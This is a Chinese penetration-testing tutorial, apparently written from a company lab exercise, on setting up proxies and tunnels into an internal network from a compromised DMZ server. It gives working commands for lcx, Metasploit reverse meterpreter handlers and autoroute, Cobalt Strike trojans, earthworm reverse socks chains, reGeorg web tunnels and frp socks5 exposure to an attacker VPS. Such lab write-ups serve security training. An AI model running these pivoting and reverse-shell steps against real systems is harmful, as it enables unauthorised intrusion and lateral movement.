0x00前言
在拿到一臺伺服器的shell的時候,如果想要更進一步滲透測試,則需要進行內網滲透
而內網滲透的第一步就是掛代理,首先需要明確一個概念,在日常生活中常用vpn
掛代理去google查資料,自己搭過vpn
的人都知道,要在買的vps
上搭建ss的伺服器端
,之後在自己電腦
上下載ss的客戶端
,確定對應的加密協議和密碼就能成功轉發
而在內網滲透的流量轉發是一個道理,是在拿到shell的伺服器上使用工具讓它變成代理的伺服器端,之後在本機使用客戶端工具進行連線
0x01流量轉發工具
需要放在拿到shell的伺服器的伺服器端可使用
1.lcx
2.msf
3.cobalt Strike
4.earthworm
5.reGeorg
本地的客戶端可以使用
windows
1.proxifier
2.SocksCap64
linux
1.proxychains
0x02 本次測試的環境
本次環境是公司搭的一個一層內網學習環境,本篇文章只總結流量轉發的方法,因此大致介紹下簡化的拓撲結構
攻擊機:
ip:10.86.0.87
win10(該ip能訪問到最外層的DMZ區web伺服器)
ip: xx.xx.xx.xx
kali (虛擬機器,與主機win10 進行NAT連線)
被攻擊機:
ip: 172.16.3.145
,192.168.93.143
web伺服器(雙網路卡,192為內網ip)
ip: 192.168.93.138
內網伺服器,上面80有個IIS服務(能訪問到該web,則說明代理成功)
明確個概念
那麼DMZ區伺服器
彈shell到kali虛擬機器
要通過本機做埠對映,kali
要訪問內網web伺服器
則代理需要設定成本機的埠
0x03 lcx轉發
本工具只是埠流量轉發,並不具備完整的proxy代理功能
舉個例子伺服器只能本地連3389,因此攻擊機連不了,但是可以通過該工具將3389轉發到攻擊機的埠上,就能連線了
拿到shell後,上傳lcx.exe
檔案
將自身埠流量轉發到攻擊機埠上
使用方法
本機
接收2333埠來的流量,並在自己的2334埠開啟
lcx.exe –listen 2333 2334
目標伺服器
將自己的3389的流量轉發到10.86.0.87攻擊機
的2333埠上
lcx.exe -slave 10.86.0.87 2333 127.0.0.1 3389
rdp連線自己的2334埠
本身流量轉發
這玩意兒還能在自己的上進行埠轉發,比如把3389埠流量轉到自己的2333埠
lcx.exe -tran 2333 127.0.0.1 3389
0x04 msf
msf它本身有流量轉發的模組,因為本次的msf是在kali虛擬機器裡面的,又因為DMZ區伺服器是沒法訪問到kali的,意味著反彈shell是沒法直接實現的
在使用msf轉發前,使用frp
將kali的監聽埠對映到本機上
在本機中使用frps伺服器端
frps.ini的配置如下,確定繫結的埠,token的值,轉發的埠,即可
啟動
.\frps.exe -c .\frps2.ini
在kali中使用frpc客戶端
frpc.ini的配置如下,[common]是協議連線的目標,和token憑證,[appName1]~[appName3]是將10.86.0.87的10001埠對映到自己的10001埠
啟動方式,利用nohup和 &,掛後臺執行
nohup ./frpc -c frpc2.ini &
回過頭來看windows本機,已經有資訊了
可以使用nc嘗試下,是否對映了
訪問下windows的10001埠
再看kali裡面收到了http請求頭
將shell反彈到msf上
先在msf中進行監聽php的msf的shell
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set LPORT 10001
set LHOST 10.86.0.87
run
現在DMZ伺服器能間接通過的埠對映訪問到kali的埠了,在冰蠍中可以使用設定好的反彈msf的payload
點選給我連,就彈回來啦
使用msf設定代理
拿到msf的shell了後,就是上代理了,這裡因為我之前已經掃過網段了,可以確定內網是192.168.93.0/24網段
因此新增路由
meterpreter> run autoroute -s 192.168.93.0/24
可以檢視
meterpreter> run autoroute -p
接下來將該shell掛起到後臺
meterpreter> background
並且使用sock4a模組進行轉發
use auxiliary/server/socks4a #socks4a socks5都可以
set srvhost 127.0.0.1
set srvport 1084
run
kali中直接firefox訪問下192.168.93.80的web,頁面是載入不出來的
接下來使用proxychains來代理訪問內網的web
設定一下
vim /etc/proxychains.conf
proxychains curl http://192.168.93.138
即可訪問成功
0x05 Cobalt Strike代理
這個就很好用了,強烈推薦,因為我是在windows上起的cs的伺服器,因此反向代理就是本機不需要埠對映,操作也非常簡單(就這玩意兒老斷開連線,可能我電腦的問題)
先建立個listener
生成一個exe的木馬,當然有殺軟的話可以使用powershell或者程式語言執行程式碼直接反彈
丟到伺服器上執行
OK彈回來了
因為這裡是代理使用的總結,就不深入總結cs的利用,直接使用代理模組
這裡cs有2個代理方式,一個是瀏覽器代理,一個是sock代理
首先看瀏覽器代理
接下來,就可以使用我本機的瀏覽器,掛代理訪問了,掛代理方式和burp一樣,這裡使用的是本機的4001埠
設定方式很簡單
訪問下試試
在kali虛擬機器中同理,也可以使用這樣的方式訪問web了
但是proxychains是不行的,接下來可以使用cs的另一個代理socks
接下里配置proxychains
成功代理
0x06 使用earthworm
ew是一個很厲害的軟體,但是因為很厲害所以作者已經關閉下載了....
他有各種系統的可執行檔案
ew具有lcx的轉發功能,還能執行socks代理
正向代理和反向代理的區別很多文章都有提到,從表面上看正向代理的代理埠和ip是在被攻擊的伺服器上,反向代理的埠和ip是自己的本機
正向代理
將對應系統的可執行檔案上傳上去
只需要在伺服器執行
ew_for_Win.exe -s ssocksd -l 2336
配置好proxychains,代理為172.16.3.145:2336埠,能夠訪問內網了
反向代理
在本地使用ew進行埠監聽,意思是將本地從4399接收到的流量轉發到2337埠上
.\ew_for_Win.exe -s rcsocks -l 2337 -e 4399
在跳板的伺服器上執行,將自己的代理服務轉到遠端10.86.0.87伺服器上的4399埠
ew_for_Win.exe -s rssocks -d 10.86.0.87 -e 4399
嘗試下
ew具有lcx的功能
在最上面介紹lcx的時候提到了lcx具有將遠端的埠對映到本地,和將本地的埠A流量轉移到埠B的功能
ew同樣有lcx的功能,使用方法如下,這裡還是拿3389為例
將遠端埠對映到本地
在本機起監聽,監聽自己的4399和2338埠,將4399埠收到的資料轉出到2338埠接收
.\ew_for_Win.exe -s lcx_listen -l 2338 -e 4399
在遠端的伺服器上執行
ew_for_Win.exe -s lcx_slave -d 10.86.0.87 -e 4399 -f 127.0.0.1 -g 3389
將本機的埠A轉發到埠B
ew_for_Win.exe -s lcx_tran -l 4002 -f 127.0.0.1 -g 3389
多級代理
ew移植lcx的功能不僅僅是為了集合功能,更重要的是可以憑藉該功能達到多層代理,這裡沒有實際的環境,舉個例子
攻擊機A ,邊間伺服器B,內網1層的伺服器C,內網2層的伺服器D
首先拿到B,掛好代理,只能看到C,但不能看到D,這時候就要藉助EW的轉發功能實現多層內網滲透
攻擊機A,使用反向代理
將接到的3001埠的流量,開到自己的2001埠上,最終是掛本地2001埠,實現代理的
.\ew_for_Win.exe -s rcsocks -l 2001 -e 3001
邊界伺服器B,使用流量轉發和流量監聽
流量轉發,將本地4001埠流量轉移到A的3001埠上
.\ew_for_Win.exe -s lcx_slave -d A的ip -e 3001 -f 127.0.0.1 -g 4001
流量監聽,將接受到的5001埠的流量轉到自己的4001上
.\ew_for_Win.exe -s lcx_listen -l 4001 -e 5001
內網1層的伺服器C
反向代理,將自己的5001的socks代理傳給B的5001埠
.\ew_for_Win.exe -s rssocks -d B的ip -e 5001
綜上所述,訪問到D的流量如下
D -> C -> B:5001 -> B:4001 -> A:3001 -> A:2001
掛A:2001的代理,即可訪問到D
0x07 reGeorg
reGeorg
使用起來也很方便,他和以上的幾種工具想比,它不需要在目標上執行程式,只需要把對應的web的指令碼上傳上去能夠訪問即可
reGeorg
的檔案主要是以web的後臺語言為代理指令碼,因此要使用reGeorg
的先決條件是需目標具有web服務
這裡的例子是PHP,先上傳tunnel.php
函式報錯了,之後我上傳了tunnel.nosocket.php
,則正常工作了
tunnel.nosocket.php能正常開啟
接下來在本地,使用python執行它的py指令碼,如果不加-l引數則預設是127.0.0.1的地址開啟的代理,這時kali就沒法使用10.86.0.87,ip來設定代理了
python .\reGeorgSocksProxy.py -l 10.86.0.87 -p 5432 -u http://172.16.3.145/tunnel.nosocket.php
自己的5432埠即為代理埠
0x08 frp
在部落格搬家的時候,又另外學到一招使用frp進行內網代理的,十分穩定好用,最主要的是frp是正常軟體,殺軟一般不會殺
理清思路,跳板機是frpc,我們的vps是frps,將跳板機的流量轉到vps的一個埠上,代理走vps的轉發埠即可完成內網代理
在跳板機上的frpc.ini內容如下,將tcp的流量使用socks5,壓縮一下轉到遠端埠的8881上
[common]
server_addr = mi0.xyz
server_port = 7000
token = xxxxxx
[socks_proxy]
type = tcp
remote_port = 8881
plugin = socks5
use_compression = true
在vps伺服器上的frps.ini
[common]
bind_addr = 0.0.0.0
bind_port = 7000
token = xxxxx
之後先在vps上啟動frps.ini
nohup ./frps -c frps.ini &
在跳板機上啟動frpc.ini
#linux
nohup ./frpc -c frpc.ini &
#windows
./frpc.exe -c frpc.ini
0x09代理客戶端
在最前面講到有3個代理的客戶端,其中proxychains
是linux下的,也是上面各種工具使用時候,使用的代理方式驗證,proxifier
和SocksCap64
均是windows下的工具,有圖形化的介面,免費的。proxifier
隨便找個啟用碼即可
proxychains
安裝,kali自帶的
apt-get install proxychains
直接修改/etc/proxychains.conf
檔案
在最下面的[ProxyList]
中以以下格式設定代理
socks4 ip port
或者
socks5 ip port
使用方法也很簡單,這樣msf就能本身掛代理了
proxychains msfconsole
但是proxychains
有些命令不支援,比如ping
proxifier
該工具是windows下的,配置有2個注意點即可
1.配置代理的ip和埠
2.配置走代理的exe程式
以剛剛的reGeorg代理為例
配置好了代理的伺服器,接下來配置哪些服務走該代理
Direct是直連,即不走代理的意思, proxy SOCKS5 即是剛剛設定的代理,當前設定是firefox走代理,chrome.exe不走代理
這個規則表和配置交換機的ACL協議一樣,從上往下讀協議的
如果要burp抓包,則使用Any,Any,Any,即全部應用都走代理即可
SocksCap64
和proxifier
很相似,先設定代理
接下來右鍵下面的應用,選擇在代理隧道中執行即可,該應用也可以新增
這裡在代理隧道中執行chrome,即可訪問內網的web服務
0x09 結語
掛代理思路清楚了是比較簡單的事情,滲透測試和CTF稍微不同的地方在於,CTF注重原理,深入到程式碼的寫法問題,而滲透測試則注重工具的使用。lcx和ew很容易被殺軟殺掉,但是在比較low或者比賽或者學習的環境中或者關掉殺軟的情況下還是比較好使的@_@